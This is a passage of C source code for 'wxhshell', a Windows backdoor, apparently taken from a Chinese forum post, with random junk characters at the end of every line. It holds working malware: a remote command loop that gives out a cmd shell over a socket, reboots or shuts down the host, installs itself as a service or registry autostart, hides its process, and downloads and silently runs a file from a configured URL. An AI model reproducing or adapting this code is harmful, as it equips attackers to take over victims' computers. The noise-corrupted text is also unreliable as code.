  else { uS<_4A;sD,  
_1|$P|$P.  
    switch(cmd[0]) { K2rzhHfb  
  %8mm Hh  
  // 帮助 g97]Y1g  
  case '?': { f:woP7FP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pQWHG#?7  
    break; G[Tl%w  
  } s_ bR]G  
  // 安装 Y3',"  
  case 'i': { 8SC%O\,  
    if(Install()) =X(%Svnp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oyx^a9  
    else zY=jXa)K~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%a8XnW]1  
    break; #E$X ,[ZFo  
    } \we\0@v  
  // 卸载 v]"L]/"  
  case 'r': { aeP[+I9  
    if(Uninstall()) ;inzyFbL=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "y;bsZBd"  
    else H!)=y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Scm? l3  
    break; #VGjCEeU  
    } }-DE`c  
  // 显示 wxhshell 所在路径 }#`:Qb \U  
  case 'p': { K@u&(}  
    char svExeFile[MAX_PATH]; OB-Q /?0  
    strcpy(svExeFile,"\n\r"); q]% T:A=  
      strcat(svExeFile,ExeFile); 6^)}PX= *  
        send(wsh,svExeFile,strlen(svExeFile),0); d 8o53a]  
    break; [xZU!=  
    } > m q,}!n  
  // 重启 SO f{Hx0C6  
  case 'b': { !>$4]FkV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vb|#MNf)  
    if(Boot(REBOOT)) C$yq\C+I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}yX_Z'P<  
    else { ~I=Y{iM  
    closesocket(wsh); zaimGMJ ,  
    ExitThread(0); D=r))  
    } ZWUP^V  
    break; B4Y(?JTx  
    } G$M9=@Ug  
  // 关机 NH A5e<  
  case 'd': { OO) ~HV4\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hT g<*  
    if(Boot(SHUTDOWN)) H^%lDz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=::)/{P  
    else { NAC_pM&B  
    closesocket(wsh); b*kfWG-6t  
    ExitThread(0); (!L5-8O  
    } `>C<}xO  
    break; fV>CZ^=G  
    } xw5d|20b  
  // 获取shell |SZo' 6  
  case 's': { C4$:mJ>y  
    CmdShell(wsh); 0|4%4 Mt  
    closesocket(wsh); b}^S.;vNj  
    ExitThread(0); y9H% Xl  
    break; $ ,Ck70_  
  } \>. LW9  
  // 退出 n.MRz WJpZ  
  case 'x': { > et-{(G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0oZsb\  
    CloseIt(wsh); %8~Q!=*Iq  
    break; t_z>Cl^u  
    } |077Sf|  
  // 离开 r|Z3$J{^"  
  case 'q': { 7,qYV}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); olB)p$aH#  
    closesocket(wsh); 7w :ef0S  
    WSACleanup(); 7"F*u :  
    exit(1); 8H,4kY?Z  
    break; F_iXd/  
        } GG064zPq7  
  } <P[T!gST  
  } - O98pi  
( 9!k#  
  // 提示信息 G'2#9<c*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K;?,FlH  
} `+'rib5  
  } 6oaazB^L  
RpWTpT1  
  return; 3`d}~v{  
} ? &G`{Ey  
4'j sDcs  
// shell模块句柄 Xp\/YJOibd  
int CmdShell(SOCKET sock) Q?ahr~qo  
{ 1wzqGmjmt  
STARTUPINFO si; w\54j)rb  
ZeroMemory(&si,sizeof(si)); _It,%<3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~7~~S*EQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }I|u'#n_  
PROCESS_INFORMATION ProcessInfo; 'E/*d2CDM(  
char cmdline[]="cmd"; ]-oJ[5cQ0v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IEKU-k7}Z  
  return 0; 2" |2a@  
} iHwLZ[O{  
] 2 #  
// 自身启动模式 S)QAXjH  
int StartFromService(void) 5w%_$x  
{ s2?T5oWU  
typedef struct )1N 54FNO  
{ &PkLp4mQ  
  DWORD ExitStatus; D3|oOOoG  
  DWORD PebBaseAddress; 56^ +;^f^`  
  DWORD AffinityMask; 5MFxo63  
  DWORD BasePriority; t+5E#!y  
  ULONG UniqueProcessId; FMkOo2{  
  ULONG InheritedFromUniqueProcessId; CkJCi  
}   PROCESS_BASIC_INFORMATION; `D9]*c !mO  
"UEv&mQ  
PROCNTQSIP NtQueryInformationProcess;  `:P  
iXyO(w4D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0ye!R   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M?=;JJ:  
(D@A74q\'  
  HANDLE             hProcess; uB!kM  
  PROCESS_BASIC_INFORMATION pbi; .(pN5JI*  
763+uFx^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zBO(`=|  
  if(NULL == hInst ) return 0; Yvn\x ph3  
IbcZ@'RSw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SQeRSz8bK4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |_omr&[_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wf{O[yL*  
 8q1wHZ  
  if (!NtQueryInformationProcess) return 0; rr#K"SP  
8/0Y vh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `%09xMPu  
  if(!hProcess) return 0; k}KC/d9.z  
&$`yo`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e</$ s  
1? FrJ6 V  
  CloseHandle(hProcess); 6a;v&5  
4t)%<4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DJP2IP  
if(hProcess==NULL) return 0; /r12h|  
ljK rj  
HMODULE hMod; #2`D`>7456  
char procName[255]; ~rjTF!  
unsigned long cbNeeded; +za8=`2o  
:VF<9@t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %*#n d  
ho>k$s?  
  CloseHandle(hProcess); ~4?9a(>3  
%lg=YGLQB  
if(strstr(procName,"services")) return 1; // 以服务启动 bFA!=uvA  
N{-]F|XX  
  return 0; // 注册表启动 ~tOAT;g}q  
} J)mh u}  
&qS[%K )  
// 主模块 p-+K4  
int StartWxhshell(LPSTR lpCmdLine) )P7)0c  
{ zD3mX<sw  
  SOCKET wsl; o[E_Ge}g8  
BOOL val=TRUE; gIA@l `"  
  int port=0; 1xv8gC:6  
  struct sockaddr_in door; lC=~$c:  
!Ci~!)$z6  
  if(wscfg.ws_autoins) Install(); ?8W( "W   
g@\fZTO  
port=atoi(lpCmdLine); nYbhy} y  
KRjV}\}  
if(port<=0) port=wscfg.ws_port; +nQw?'9Z  
LHJ":^  
  WSADATA data; ^( Rvk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t'm;:J1  
_,</1~.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r=c<--_@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |AC1\)2tT  
  door.sin_family = AF_INET; #[#KL/i)$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fr!Pj(Q1  
  door.sin_port = htons(port); f@co<iA  
d6i6hcQE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]:34kE}e5  
closesocket(wsl); h=_mNG>R)  
return 1; R-^96fFBy  
} K!,<7[MBg  
sl*5Y#,|1  
  if(listen(wsl,2) == INVALID_SOCKET) { L],f3<  
closesocket(wsl); % >;#9"O4  
return 1; ^*\XgX  
} /pp1~r.s?>  
  Wxhshell(wsl); Xv@SxS-5l  
  WSACleanup(); 5[n(7;+gw  
qF iLh9=D  
return 0; (LHp%LaZ\;  
jmg!Ml  
} F]O$(7*  
,sGZ2=M}J  
// 以NT服务方式启动 -+t]15  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lr`1TH,  
{ TE )gVE]  
DWORD   status = 0; cQ:"-!ff  
  DWORD   specificError = 0xfffffff; 7OW bAu;  
-)vEWn$3<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `]P pau  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eiJ2NwR\w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LK"  bC  
  serviceStatus.dwWin32ExitCode     = 0; Z0De!?ALV\  
  serviceStatus.dwServiceSpecificExitCode = 0; *._|-L  
  serviceStatus.dwCheckPoint       = 0; rxO2QQ%V  
  serviceStatus.dwWaitHint       = 0; |y<),j6  
6oSQQhge  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JY!l!xH(6  
  if (hServiceStatusHandle==0) return; OGiV{9U  
kF7V.m/~o  
status = GetLastError(); !.1%}4@Q]  
  if (status!=NO_ERROR) ^`f*'Z  
{ _lW+>xQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oUQ07z\C  
    serviceStatus.dwCheckPoint       = 0; I]!^;))  
    serviceStatus.dwWaitHint       = 0; c"!lwm3b  
    serviceStatus.dwWin32ExitCode     = status; r}yG0c,  
    serviceStatus.dwServiceSpecificExitCode = specificError; wB>r (xQ'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;IK[Y{W/  
    return; ;@h0qRXW:h  
  } '&;yT[  
#E0t?:t5bk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i* R,QN)  
  serviceStatus.dwCheckPoint       = 0; H&b3{yOa  
  serviceStatus.dwWaitHint       = 0; 2wqk,c[]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f`>/ H!<2  
} `bKA+c,f  
9x+<I k  
// 处理NT服务事件,比如:启动、停止 @5) 8L/[l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l8K5k:XCU3  
{ $N2SfyX7  
switch(fdwControl) I|$ RJkD  
{ A~nf#(!^]  
case SERVICE_CONTROL_STOP: clI*7j.4E#  
  serviceStatus.dwWin32ExitCode = 0; UueD(T;p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VE2tq k%  
  serviceStatus.dwCheckPoint   = 0; }Vu\(~  
  serviceStatus.dwWaitHint     = 0; ,a?\M M9$  
  { {5*|C-WWtG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *sQcg8{^  
  } nxQ?bk}*d  
  return; #sKWd  
case SERVICE_CONTROL_PAUSE:  t4Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "x'),  
  break; $V6^G*Q  
case SERVICE_CONTROL_CONTINUE: zm9TvoC%}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g=}v>[k E  
  break; CGw--`#\  
case SERVICE_CONTROL_INTERROGATE: ihT~xt  
  break; m xw dugr`  
}; o-7>eE}+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q4s&E\}  
} xa( m5P  
1-I Swd'u  
// 标准应用程序主函数 3HyhEVR-#~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F="z]C;u  
{ #iSFf  
gM;}#>6  
// 获取操作系统版本 o?Sla_D   
OsIsNt=GetOsVer(); TY;U2.Ud  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D 7shiv|,  
i`%.  
  // 从命令行安装 5CJZw3q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Iy {U'a!  
iZ[tHw||  
  // 下载执行文件 _8K%`6!"Z  
if(wscfg.ws_downexe) { SP 2 8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *.y'(tj[  
  WinExec(wscfg.ws_filenam,SW_HIDE); IN^9uL]B  
} go)p%}s  
8dT'xuch  
if(!OsIsNt) { a! Yb1[  
// 如果时win9x,隐藏进程并且设置为注册表启动 yt.c5> B^  
HideProc(); ZofHi c  
StartWxhshell(lpCmdLine); `!\ivIi^  
} a ib}`l  
else %|3e.1oX  
  if(StartFromService()) (0*v*kYdL+  
  // 以服务方式启动 j.-VJo)   
  StartServiceCtrlDispatcher(DispatchTable); "2n;3ByR  
else ZcPUtun  
  // 普通方式启动 n~z\?Y=*  
  StartWxhshell(lpCmdLine); 9+CFRYC  
%u]6KrG18b  
return 0; bLG]Wa  
}
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只看该作者 1 发表于: 2006-10-10
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